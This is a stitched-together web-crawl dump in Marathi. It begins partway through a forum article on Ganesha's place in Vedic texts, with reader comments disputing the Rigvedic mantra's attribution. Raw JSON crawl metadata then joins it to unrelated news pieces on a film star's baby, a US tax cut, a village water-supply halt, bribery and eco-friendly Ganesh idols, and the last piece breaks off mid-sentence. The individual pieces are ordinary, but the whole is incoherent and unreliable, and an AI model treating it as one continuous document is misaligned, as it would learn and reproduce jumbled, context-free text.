प्रसिद्ध मंत्र असून अश्वमेध यज्ञात गणपतीचे आवाहन करण्यासाठी ह्या मंत्राचा विनियोग करण्यात येत असे. या मंत्राचा साधारण अर्थ असा, हे माझ्या जिविताचे रक्षण करणारा असा तू ईश्वर, सर्व गणांचा असा तू स्वामी, तुझे आम्ही आवाहन करतो. सर्व प्रियांचा प्रिय अधिपती, आणि सर्व निधींचा निधीपती आम्ही तुझे आवाहन करतो. तू सर्व ब्रह्मांडरुपी गर्भाचा पोषणकर्ता आहेस, मलाही (तुझ्या कृपेने) प्रजारुपी गर्भाचा पोषणकर्ता बनू दे.\nकृष्ण यजुर्वेदात मैत्रायणी संहितेत गणेशाचे गायत्री मंत्र आढळतात.\nतत्पुरुषाय विद्महे वक्रतुंडाय धीमहि l तन्नो दन्ती प्रचोदयात् ll\nअथर्ववेदामधील गणपती अथर्वशीर्ष तर प्रसिद्धच आहे व आजही गणपतीच्या पूजापाठात त्याचा विनियोग होतो. गणपतीबद्दल प्रचलित लोकश्रद्धा लक्षात घेऊन, अथर्ववेदांतर्गत गणपतीच्या स्तुतीपर चार उपनिषदे रचली गेली.\nगणपत्युपनिषद् (अथर्वशीर्ष ) - रचयिता गणक ऋषी\nहेरंबोपनिषद् - स्वतः भगवान् श्रीशंकराने पार्वतीला सांगितले\nवरदा पूर्व - रचयिता याज्ञवल्क्य ऋषी\nउत्तर तापिनी उपनिषद् -रचयिता रुद्र ऋषी\nह्या उपनिषदांमधून श्री गणेश रुपाचे वर्णन (अथर्वशीर्ष - एकदंतं चतुर्हस्तं..) आणि त्याची स्तुती केलेली आहे. गणेशाचे तेजस्वी रुप, त्याची कुशाग्र बुद्धी आणि त्याचे सर्व प्राणिमात्रांवरील आधिपत्य मान्य करुन गणपती नेहमीच आपल्या बुद्धीला सन्मार्गावर राहण्याची प्रेरणा देवो यासाठी त्याची प्रार्थना केलेली दिसते.\nवेदांगातही गणेशोपासनेचा उल्लेख सापडतो. वैदिक कालापासून गणपतीची उपासना भारतवर्षात सुरु होती व यज्ञयागातही गणपतीला मानाचे स्थान होते असे दिसते.\nअसा हा पूर्वीपासून जनमानसात रुजलेला गणपती. आदौ पूज्यो विनायकः - ह्या उक्तीनुसार सर्व शुभकार्यांरंभी अग्रपूजेचा मान मिळालेलं हे दैवत आजही तितकच लोकप्रिय आहे.\nअसा हा ओंकारस्वरुपी, सार्‍या सृष्टीचा उत्पत्तीकर्ता आणि पालनकर्ता तुम्हां आम्हां सर्वांचं सतत रक्षण करो\nवेदांविषयी काही माहिती इथे मिळेल.\nसंदर्भः १. गणेशकोष २. कल्याण श्रीगणेश विशेषांक, गीताप्रेस, गोरखपूर.\nआयटी, उत्तम माहिती दिलिस बघ, आणि फारच सोप्या शब्दात सांगितलीस.\nहा लेख माझ्या संग्रही ठेवतोय... अथर्वशिर्षाचा अर्थ सुद्धा असेच ज्ञानरंजन करणारा आहे, त्याबद्दलही वाचायचे आहे.\nआयटे, चान्गला सन्ग्रहणीय ले़ख\n(तुझ हे अन्ग माहित नव्हत)\nएक छान सोप्या भाषेतला माहितीपूर्ण लेख \n(च्यायला... तुझ्याशी टीपी करत बोलताना जपून बोलावे लागेल आता बहुतेक )\nम्हणजे च्यायलाशी तू जपून बोलत नाहीस का संदीप\nगणानां त्वा गणपतिं हवामहे कविं कवीनामुपमश्रवस्तमम् l\nज्येष्ठराजं ब्रह्मणां ब्रह्मणस्पत आ नः श्रृण्वन्नूतिभि: सीद सादनम् ll >>>\nॠग्वेदातला मंत्र गणपती साठी नाही. वेद काळात गणपती नावाची देवता न्हवती. तर बृहस्पती नावाची देवता होती. वेदकाळात सर्व स्तुतीपर मंत्र हे ऐकतर विष्णू, शिव वा इंद्र या साठीच आहेत. गणेशस्तुतीपर न्हवे. ॠग्वेदात आलेले गणपती हे गण व त्याचा पती म्हणजे ऐखाद्या गणाला (पथकाला) नेतॄत्व करनार्या साठी आहे ( तसा दोन श्लोकात उल्लेख करन्यत आलेला आहे. गणपती चा शब्दशः अर्थ)\nनंतरच्या उपनिशीदांमध्ये गणेशाच्या प्रथम उल्लेख करन्यात आला आहे. बॄहस्पती चे गणपती का व कधी झाले ह्या बद्दल माहीती काढायला हवी. ( अशा घुसडन्याचा अनेक घटना आहेत जसे कॄष्ण व राधा).\nकेदार, मी संदर्भासाठी घेतलेल्या कोषामधे मला ब्रह्मणस्पती आणि बृहस्पती ही नावे गणेशासाठी वापरल्याचे संदर्भ मिळाले. तुझ्याकडे वेगळी माहिती असेल, तर इथे जरुर लिही.\nकेदार गणपती इष्ट देवता म्हणून समजली जाते. मग ती दुसर्‍या रुपात असू शकेल न\nह्म्म.. आवडला लेख.. लिंबूशी सहमत.. तुझ्याकडून हा लेख पाहून मजा वाटली\nशैलजा हो नंतर ती वापरली गेली पण ती का वापरली गेली वा कोणी ती वापरली हे मला ज्ञात नाही (अजुन). आणि तु जो लेख लिहीला आहेस तो योग्यच आहे. मी त्यापुढे जाऊन थोडे सांगत होतो इतकेच. बॄहस्पती म्हणजेच् गणपती असे सांगीतल्या जाते पण ते का हे कुठेही नाही. नंतर कधीतरी कोणीतरी तो संदर्भ लावन्याची शक्यताच जास्त आहे.\nतो जो श्लोक आहे तो प्राणप्रतिष्टेसाठी वापरतात.\nआर्च गणपतीची ईष्ट देवता म्हणून गणना कधी झाली हे निट कळत नाही. वेद वा उपनिशीदात गणपती ही देवताच नाहीये. नंतर कधी तरी गणपती हा ईष्टदेव झाला.\nतळटिप मी वाद सुरु करत नाहीये वा माझी गणपतीवर श्रध्दा नाही असेही नाही. फक्त थोडी माहीती लिहीली ईतकेच.\nअरे, वाद कोण म्हणतय\nअगं मजा वाटली म्हणजे, तुला यात इंटरेस्ट आहे हे माहीत नव्हतं.. म्हणून ..\nछान महिती, आयटी आणि केदार. तुम्हा लोकांमुळे पुस्तके न वाचताही खूप माहिती मिळते.\nएक प्रश्न- विषयाला धरून नाही.\nअथर्वशीर्ष म्हणताना फलश्रुती का म्हणत नाहीत कारण माझ्या कडे असलेल्या सगळ्या सीडी मध्ये फलश्रुती आहे.\nकोणाला माहिती आहे का\nभाग्ग्या, जितकी आवर्तने ठरवली असतील तितकी म्हणेस्तोवर फलश्रुती म्हणत नाहीत पण शेवटच्या आवर्तनानन्तर फलश्रुती म्हणली जाते\nफलश्रुती म्हणणे अत्यावश्यक मानले आहे, मात्र अनेकवेळा म्हणायचे असताना दरएक आवर्तना नन्तर ती म्हणण्याची गरज नाही, प्रघातही नाही\nएकदाच म्हणायचे असल्यास किन्वा अधिक सन्ख्येने म्हणताना शेवटच्या आवर्तनानन्तर फलश्रुती म्हणली जाते\nखरोखर संग्रही ठेवण्यासारखा अभ्यासपूर्ण लेख , त्यानिमीत्तानी घडणारी चर्चादेखील चांगलीच . हाच तर खरा गणेशोत्सव ना\nशैलजा लगे रहो.... छान लिहितीयेस\nसंदीप का रे छ्ळतोस.. अस मी काय केले बुवा तशी माझी ख्याती आहे वाद विवादपटू म्हणुन.. यशस्वी कलाकार वैगेरे काय काय..\nम्हणुन सांभाळुन रहायचे काय\nभाग्या, लिंबुटीम्बुने फलश्रुती शेवट च्या आवर्तनात म्हणतात असे म्हटले आहे. असो पण मला वाटत. ईथे भगवद्गितेचा कर्मफल सिद्धांत असावा की केवळ फलाच्या आशेने अथर्वशिर्ष म्हणु नये.. तसे कोणतेच स्तोत्र म्हणु नये हा पायंडा नंतर पडलाय.\nकेदार, खरे तर गणपतीचा स्पष्ट उल्लेख वेदांमधे नाहीच, पण त्याच्या बद्दलचे वर्णन आढळते. तश्या आपल्याकडे कित्येक देव देवता ज्यांचा उल्लेख वेदांमधे नाही त्या नंतर प्रचलित झाल्यात. गणपती उपासना सुद्धा ही वेदोत्तर काळामधे जास्त लोकप्रिय झाली. तसेच तुम्हाला संतोषी माता माहित असेल ती तर चक्क आधुनिक माध्यम चित्रपटामुळे प्रसिद्ध झाली असे अनेक देव देवता ज्यांचा उल्लेख वेदांमधे नाही पण त्यांच वर्णन, गौरव हे सगळ एकाच तत्वाला उद्देशुन असत जे वेदांना अभिप्रेत आहे.\nगो आयटे.. १दम मस्तच गो.. महान संतोष: \nगणा धाव रे.. मला पाव रे..\nशैलजा सुंदर अभ्यसपुर्ण माहिती, पन अजुन वाचावस वाटत आहे.\nशैलजा लेख आणि अभिप्राय दोन्ही\nशैलजा लेख आणि अभिप्राय दोन्ही छानच\nमला आज वाचायला मिळाली\nबरीच माहिती नवीन मिळाली.\nबरीच माहिती नवीन मिळाली. बृहस्पती, ठाऊक होते, पण गणपती म्हणजे बृहस्पती हे नव्हते माहिती. ब्रह्मणस्पती विषयी अजून बघावे लागेल.\nखुपच छान लेख मोरया\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00285.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.dainikprabhat.com/shahid-kapoor-new-born-son-name-423244-2/", "date_download": "2018-09-25T16:32:34Z", "digest": "sha1:2ZWDCHED75UTM2R474YLF4OASLTJQUJG", "length": 8042, "nlines": 142, "source_domain": "www.dainikprabhat.com", "title": "जाणून घ्या काय आहे ,शाहिद-मीरा यांच्या मुलाचे नाव | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nजाणून घ्या काय आहे ,शाहिद-मीरा यांच्या मुलाचे नाव\nशाहिद कपूरची पत्नी मीरा राजपूतने हिंदुजा हॉस्पिटलमध्ये कालच एका गोंडस मुलाला जन्म दिला आहे. शाहिद आणि मीराचे हे दुसरे अपत्य आहे. यापूर्वी 25 ऑगस्ट 2016 रोजी या दाम्पत्याला कन्यारत्न प्राप्त झाले होते. त्या मुलीचे नाव त्यांनी मीशा ठेवले होते.\nत्यानंतर कालपासून शाहिद व मीराच्या या दुस-या बाळाचे नाव काय असणार, याबद्दलची उत्सुकता त्याच्या चाहत्यामध्ये वाढली होती. काल रात्रीपासूनचं सोशल मीडियावर शाहिद व मीराच्या नव्या बाळाचे नाव ट्रेंड करतेय. पण आता मात्र शाहिदच्या चाहत्यांची उत्सुकता थांबली आहे कारण अखेर शाहिद कपूर याने त्याच्या मुलाच्या नावाचा खुलासा केला आहे. स्वत: शाहिदने त्याच्या ट्विटर अकाउंट वरून याची माहिती दिली आहे.\nशाहिद आणि मीरा यांनी आपल्या मुलाचे नाव ‘झैन कपूर’ ठेवले आहे. शाहिदने मुलाच्या नावाचा खुलासा करताना ट्विटरवर म्हटले आहे की, ‘झैन कपूर’ इकडे आहे. आणि आता आमचं कुंटुंब पूर्ण झालं आहे. तुम्हा सर्वांच्या शुभेच्छा आणि आशीर्वादासाठी धन्यवाद. आम्ही सर्व खूप खुश आहोत. सर्वांना खूप सारे प्रेम.\nशाहिद याच्या मुलाचे नाव खरच खुप सुंदर आहे. ‘झैन’ हा एक अरबी शब्द आहे. ज्याचा अर्थ होतो साहब. तसेच या नावाचे आणखी अर्थ आहे. ‘झैन’ म्हणजे सुंदर, सौंदर्य, प्रेमळ आणि मित्र.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleसैनिकांच्या रक्ताचा हिशेब चुकता करू ; पाकिस्तानच्या लष्करप्रमुखांची भारताला धमकी\nNext articleअ.भा. मराठी नाट्य परिषदेच्या अध्यक्षपदी अमोल खोले\nअनुप आणि जसलीनच्या नात्याला कधीच मान्यता देणार नाही: जसलीनचे वडील\n“हलाल” ने फिल्मफेअर पुरस्कारांत पटकावली आठ नामांकने\nप्रसिध्द काॅमेडियन भारती सिंहला ‘डेंग्यू’मुळे केले रूग्णालयात दाखल\nरोहित शेट्टी साकारणार शिवछत्रपतींच्या जीवनावर चित्रपट\nश्रद्धा कपूर आहे ‘या’ आजाराने त्रस्त\n#MovieReview: वास्तवाला मनोरंजक तडका : ‘बत्ती गुल, मीटर चालू’\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00286.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://www.esakal.com/global/donald-trump-fumbling-his-real-chance-tax-reform-42447", "date_download": "2018-09-25T17:35:55Z", "digest": "sha1:RERBHO4W3JYZHQTMZZDSNQLXGRTOSHXW", "length": 14234, "nlines": 172, "source_domain": "www.esakal.com", "title": "Donald Trump is fumbling his real chance at tax reform ट्रम्प प्रशासनाकडून मोठी करकपात | eSakal", "raw_content": "\nट्रम्प प्रशासनाकडून मोठी करकपात\nगुरुवार, 27 एप्रिल 2017\nकंपनीकर सरसकट 15 टक्के करण्याबरोबरच ट्रम्प प्रशासनाने प्रादेशिक करप्रणालीचा प्रस्ताव ठेवला असून, त्यामुळे अमेरिकी कंपन्यांना समान पातळीवर स्पर्धा करता येणार आहे. कंपन्यांचे विदेशांमध्ये अडकलेले अब्जावधी डॉलर परत आणल्यास त्यावर एकरकमी कर आकारला जाणार आहे. अमेरिकेच्या एकूण करप्रणालीमध्ये सुधारणा करण्याचा प्रस्ताव असून, त्यामुळे सर्वच स्तरांवरील व्यक्तींना फायदा होणार असल्याचा दावा ट्रम्प प्रशासनाने केला आहे.\nवॉशिंग्टन - व्यवसाय आणि वैयक्तिक अशा दोन्ही विभागांत अमेरिकेतील ट्रम्प प्रशासनाने मोठी करकपात करण्याचा निर्णय जाहीर केला आहे. कंपनी कर 35 टक्‍क्‍यांवरून 15 टक्‍क्‍यांवर आणण्याचा हा निर्णय म्हणजे अमेरिकेच्या इतिहासातील सर्वांत मोठ्या करकपातीपैकी एक असल्याचा दावा करण्यात येत आहे.\nकरकपात जाहीर करून अध्यक्ष डोनाल्ड ट्रम्प यांनी निवडणुकीमध्ये दिलेल्या आश्‍वासनाची पूर्तता केली आहे. कंपनीकर 35 टक्‍क्‍यांवरून 15 टक्के, वैयक्तिक करांचे दर लक्षणीयरीत्या कमी करणे आणि काही कर रद्द करणे अशा नव्या कर प्रस्तावातील तरतुदी आहेत. याबाबत अमेरिकेचे अर्थमंत्री स्टीव्हन नुचिन म्हणाले, \"\"यामुळे अमेरिकेच्या अर्थव्यवस्थेतील अडथळे दूर झाले आहेत. आता उद्योगांना नवे बळ मिळण्याबरोबरच अनेक रोजगार निर्माण होतील आणि परदेशांमध्ये अडकलेले अब्जावधी डॉलर पुन्हा चलनात येतील. अर्थव्यवस्थावाढीसाठी आणि रोजगारनिर्मितीसाठीच करसुधारणेचा हा प्रस्ताव आहे.''\nवैयक्तिक करांमध्ये ट्रम्प प्रशासनाने सध्याच्या सात प्रकारची वर्गवारी बंद करून केवळ 10 टक्के, 25 टक्के आणि 35 टक्के असे तीनच वर्ग ठेवण्याचा प्रस्ताव ठेवला आहे. यामुळे प्रमाणित करकपात दुप्पट होऊन लहान मुले आणि आजारी व्यक्ती असलेल्या कुटुंबांना करांमध्ये दिलासा मिळणार असल्याचा दावा करण्यात आला आहे. नव्या कर सुधारणेच्या प्रस्तावानुसार मोठा कर भरणाऱ्यांना फायदा, स्वतःचे घर असणाऱ्यांना संरक्षण, देणगीदारांना फायदा मिळणार आहे. तसेच, छोट्या व्यावसायिकांना त्रासदायक ठरणारे काही करही रद्द करण्याचा प्रस्ताव आहे. या प्रस्तावांना संसदेची मंजुरी मिळणे बाकी आहे.\nकंपनीकर सरसकट 15 टक्के करण्याबरोबरच ट्रम्प प्रशासनाने प्रादेशिक करप्रणालीचा प्रस्ताव ठेवला असून, त्यामुळे अमेरिकी कंपन्यांना समान पातळीवर स्पर्धा करता येणार आहे. कंपन्यांचे विदेशांमध्ये अडकलेले अब्जावधी डॉलर परत आणल्यास त्यावर एकरकमी कर आकारला जाणार आहे. अमेरिकेच्या एकूण करप्रणालीमध्ये सुधारणा करण्याचा प्रस्ताव असून, त्यामुळे सर्वच स्तरांवरील व्यक्तींना फायदा होणार असल्याचा दावा ट्रम्प प्रशासनाने केला आहे.\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nउस्मानाबाद जिल्ह्यात स्वाईन फ्लुचा पहिला बळी\nजेवळी : स्वाईन फ्लुमुळे जेवळी (ता. लोहारा, जि. उस्मानाबाद) येथील एका महिलेचा पुणे येथील खासगी रुग्णालयात उपचारादरम्यान मंगळवारी (ता. 25) सकाळी आठ...\nमराठवाड्यात रब्बी पेरणीची चिंता\nऔरंगाबाद : दिवसेंदिवस जमिनीतील ओलावा कमी होत चालला असून परतीच्या पावसानेही पाठ फिरवल्याने रब्बी पेरणी करावी कशी अशी धास्ती शेतकऱ्यांना पडली आहे....\nनागपुरातील देहव्यापार 100 कोटींवर\nनागपूर : रशिया, इटली, इंग्लंड, पाकिस्तान, उज्बेकिस्तान, बांगलादेश, आणि श्रीलंका या देशातील ललनांना \"सेक्‍स रॅकेट' अंतर्गत मुंबई-दिल्लीत आणल्या...\nहॉकर्सच्या जप्त साहित्याची परस्पर विक्री\nजळगाव ः शहरात अतिक्रमण निर्मूलन मोहिमेंतर्गत महापालिका प्रशासनाच्या अतिक्रमण विभागाने हॉकर्सचे लाखो रुपयांचे साहित्य जप्त केले. परंतु या साहित्याची...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00286.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/water-supply-stopped-godpimpri-chadrapur-137738", "date_download": "2018-09-25T17:54:41Z", "digest": "sha1:CU7LIBK2G7RLSN6CNRGLGDQNJI5IYGUF", "length": 13450, "nlines": 177, "source_domain": "www.esakal.com", "title": "water supply stopped at godpimpri chadrapur मजुरांचे पगार थकले..पाणीपुरवठा थांबला..भर पावसाळ्यात सात गावातील नागरिकांचे हाल | eSakal", "raw_content": "\nमजुरांचे पगार थकले..पाणीपुरवठा थांबला..भर पावसाळ्यात सात गावातील नागरिकांचे हाल\nमंगळवार, 14 ऑगस्ट 2018\nमागास व दुर्गम भागात गोंडपिपरी तालुका मोडतो. सकमुर, गुजरी, कुडेनांदगाव, टोलेनांदगाव, हेटीनांदगाव ही सिमावर्ती भागातील गाव. परीसरात वर्धा नदी वाहत असतांना हृी गावे मात्र दुष्काळी भागात मोडतात. या गावात पाण्याचे स्त्रोत नाहीत.\nगोंडपिपरी (जि. चंद्रपूर) - कंत्राटदाराने मजुरांचे तिन महिन्याचे वेतन दिले नाही. यामुळे संतापलेल्या मजूरांनी काम करणे बंद केले. अशा स्थितीत सकमूरसह एकूण सात गावातील पाणीपूरवठा गेल्या चार दिवसापासून बंद आहे. यामुळे दुष्काळाची सर्वाधिक झळ सोसणाऱ्या या गावातील हजारो नागरिकांना ऐन पावसाळ्यात पाण्यासाठी वणवण भटकावे लागत आहे.\nमागास व दुर्गम भागात गोंडपिपरी तालुका मोडतो. सकमुर, गुजरी, कुडेनांदगाव, टोलेनांदगाव, हेटीनांदगाव ही सिमावर्ती भागातील गाव. परीसरात वर्धा नदी वाहत असतांना हृी गावे मात्र दुष्काळी भागात मोडतात. या गावात पाण्याचे स्त्रोत नाहीत. शेकडो फुटावर पाणी लागत नाही. अशात नाल्यातील पाणी प्यायची वेळ परिसरातील नागरिकांवर आली. अशात सकमुरसह एकूण सात गावांना प्रादेशिक पाणीपुरवठा योजना नंदनवन ठरली. याच योजनेने परिसरातील शेकडो कुटुंबियांची तहान भागविली जाते.\nपण गेल्या चार दिवसापासून योजनेचा पाणीपुरवठा बंद झाला अन् शेकडो नागरिकांचे ऐन पावसाळ्यात पिण्याच्या पाण्यासाठी हाल सुरू झाले.\nचंद्रपुरातील ठाकुर नामक ठेकेदाराकडे या योजनेचे काम आहे. त्यांनी गेल्या तिन महिन्यापासून मजुरांचे पगार केले नाही. परिणामी मजुरांनी काम करणे बंद केले. अन् पाणीपुरवठा बंद झाला.\nऐन पावसाळ्यात योजनेतून होणारा पाणीपुरवठा बःद झाल्याने सात गावातील हजारो नागरिकांना पिण्याच्या पाण्यासाठी मोठाच त्रास सहन करावा लागत आहे.\nतीन महिन्याचे वेतन थकविल्याने संतप्त झालेल्या मजूरांनी बिडीओकडे तक्रार दाखल केली आहे. तातडीने कंत्राटदाराने वेतन करण्याची मागणी त्यांनी केली आहे.\nआपण एका क्लिकवर ताजे अपडेट्स आपल्या मोबाईलमध्येही मिळवू शकता.\n'ई सकाळ'चे अॅप डाउनलोड करण्यासाठी क्लिक करा.\nशेतीविषयीची अपडेट असलेले 'अॅग्रोवन' अॅप डाउनलोड करण्यासाठी ​क्लिक करा.\nराजकारणाची प्रत्येक घडामोड कळविणारे 'सरकारनामा' अॅप डाउनलोड करण्यासाठी क्लिक करा.\nमराठवाड्यात रब्बी पेरणीची चिंता\nऔरंगाबाद : दिवसेंदिवस जमिनीतील ओलावा कमी होत चालला असून परतीच्या पावसानेही पाठ फिरवल्याने रब्बी पेरणी करावी कशी अशी धास्ती शेतकऱ्यांना पडली आहे....\nनागरिकांचा पाण्यासाठी सिडकोत दोन तास ठिय्या\nऔरंगाबाद - सिडको एन-तीन, एन-चार भागात पाणीप्रश्‍न गंभीर बनला असून, पाणी मिळाल्याशिवाय गणेश विसर्जन केले जाणार नाही, असा इशारा देत नागरिकांनी...\nधरण भरेल; पण पाणी खैरेंच्या आशीर्वादानेच\nऔरंगाबाद - ‘प्रार्थना करतो, की पाऊस पडेल, जायकवाडीही भरेल; पण खैरे साहेबांनी आशीर्वाद दिला तर पाइपलाइन होईल आणि शहराला पाणी मिळेल,’ असा चिमटा...\nमनमाड - काम न करता पगार घेणाऱ्या डॉक्टरची चौकशी करणारी समितीच संशयाच्या भोवऱ्यात\nमनमाड - मनमाड उपजिल्हा रुग्णालयात एकही दिवस सेवा न देता पगार काढणारा डॉक्टर व त्यास पाठीशी घालणाऱ्या वरिष्ठांची चौकशी करण्यासाठी नेमलेली चौकशी समितीच...\nपुणे शहराचा पाणीपुरवठा गुरुवारी बंद राहणार\nपुणे - महापालिकेच्या विविध जलकेंद्र, पंपिंग स्टेशनच्या देखभाल-दुरुस्तीच्या कामासाठी गुरुवारी (ता. २७) संपूर्ण शहराचा पाणीपुरवठा बंद ठेवण्यात येणार...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00287.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/Do-not-give-bribe/", "date_download": "2018-09-25T16:50:55Z", "digest": "sha1:HBMJ2CLYSNJBAMUTL6ANWK2EH2DFL5BJ", "length": 7748, "nlines": 38, "source_domain": "www.pudhari.news", "title": " लाचखोरांना प्रतिष्ठा देऊ नये! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › लाचखोरांना प्रतिष्ठा देऊ नये\nलाचखोरांना प्रतिष्ठा देऊ नये\nकोल्हापूर : विजय पाटील\nदिमतीला अलिशान वाहने.जाईल त्या शहरात बंगले. जमीनजुमला जोडीला वाढतोच आहे. एखाद्या धनाढ्य माणसाचे बिघडलेले पोरगे जसे वागते तशा पद्धतीचे ऐय्याश जगणे. हे सगळे चित्र बघायला मिळते ते अनेक सरकारी अधिकारी व कर्मचार्‍यांच्या बाबतीत. मुळात हा सगळा लाचखोरीचा पुरावा आहे, हे समोरच्यांना माहीत असते; पण अपवाद सोडला तर अशा लाचखोरांना काहीजण गरज नसताना मानसन्मान देतात. मुळात या लाचखोरांनी मान खाली घालून वागायला हवे असताना ही मंडळी मस्तवाल आणि सेलिब्रिटीसारखे वावरताना दिसतात.\n.लाचखोरी फोफावण्यामागे जी काही कारणे आहेत. त्यापैकी एक म्हणजे अशा लाचखोरांना गरज नसताना प्रतिष्ठा दिली जाते. ही मंडळी आपले पाप लपवण्यासाठी सामाजिक मदतीचा आव आणतात. अनेकांच्या अडीनडीला आर्थिक मदत करतात. त्यामुळे अशांबद्दल उगीचच कणव बाळगणारा एक मिंदा वर्ग असतो. हा मिंदा वर्ग लाचखोरांच्या प्रतिष्ठेचे ढोल वाजवत राहतो. त्यामुळेच ही मंडळी निर्ढावल्यासारखे दिसेल त्याच्यावर गुरगूरत असतात. पूर्वी सरकारी बाबूंना सरकारी नोकर म्हटले जात असे. आता मात्र यामध्ये बदल करून जनतेचे सेवक असे कायद्याने व्याख्या करण्यात आली आहे. म्हणजेच हे जनतेचे सेवक असतानाही काहीजण नेमलेले काम करत नाहीत. ‘जेथे लाच तेथेच काम’ असे सूत्र घेऊन काही मंडळी कार्यरत असतात.\nलाच घेणार्‍यांची नावे सगळ्यांना माहिती असतात. कारण, अमूक एक साहेब खिसा गरम केल्याशिवाय सहीच करत नाही, अशी चर्चा खुलेआम असते. असे असताना अशांना उगीचच काहींकडून प्रतिष्ठा देण्याचे पाप घडते. अशांना लोकांनी टाळायला हवे. लाच घेताना रंगेहाथ पकडलेल्यांना बडतर्फ करावे, अशी मागणी सामाजिक संस्था व सर्वसामान्यांकडून अलीकडे जोर धरू लागली आहे. कारण रंगेहाथ पकडलेल्यांना निलंबित जरी केले असले तरी काही महिन्यानंतर हे चेहरे पुन्हा सेवेत मेवा खात असल्याचे दिसते. त्यामुळे अशांना बडतर्फ करावे, अशी मागणी सुरू झाली आहे.\nखासगी आस्थापनासाठीही कायदा उपयोगी\nखासगी क्षेत्रात लाचखोरी मूळ धरु लागली आहे. त्यामुळेच सरकारने नुकताच खासगी आस्थापनासाठी लाचखोरीसाठी कायदा केला आहे. या कायद्यान्वये आता खासगी क्षेत्रातही लाच देणे व घेण्यासाठी फौजदारी गुन्हा दाखल होऊन शिक्षा होणार आहे. उद्योग क्षेत्रात पर्चेस ऑफिसर यासारख्या पदांवर असणार्‍यांकडून लाचखोरी मोठ्या प्रमाणावर केली जात असल्याची चर्चा आहे. त्यामुळे खासगी क्षेत्रात वाढत चाललेल्या लाचखोरीलाही आळा बसेल, असे मानायला हरकत नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00287.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://amp.esakal.com/paschim-maharashtra-ganesh-festival/eco-friendly-ganesh-festival-america-143338", "date_download": "2018-09-25T17:34:53Z", "digest": "sha1:DQ32OJNB4Z76D3Z7K5WRDN4SSWH5QXFE", "length": 11102, "nlines": 61, "source_domain": "amp.esakal.com", "title": "eco friendly Ganesh Festival in America इको-फ्रेंडली गणेशमूर्तींचा अमेरिकेत ‘कोल्हापुरी जागर’ | eSakal", "raw_content": "\nइको-फ्रेंडली गणेशमूर्तींचा अमेरिकेत ‘कोल्हापुरी जागर’\nसुधाकर काशीद | बुधवार, 12 सप्टेंबर 2018\nकोल्हापूर - गणेश चतुर्थी दोन दिवसांवर आहे. गणेशमूर्तीचे स्टॉल कुंभार गल्लीत आणि इतर ठिकाणी लागले आहेत. महाराष्ट्रभर तर गणेशोत्सवाची धामधूम आहेच; पण चक्क अमेरिकेतील न्यूजर्सी येथे मूळ कोल्हापूरच्या शीतल प्रसाद 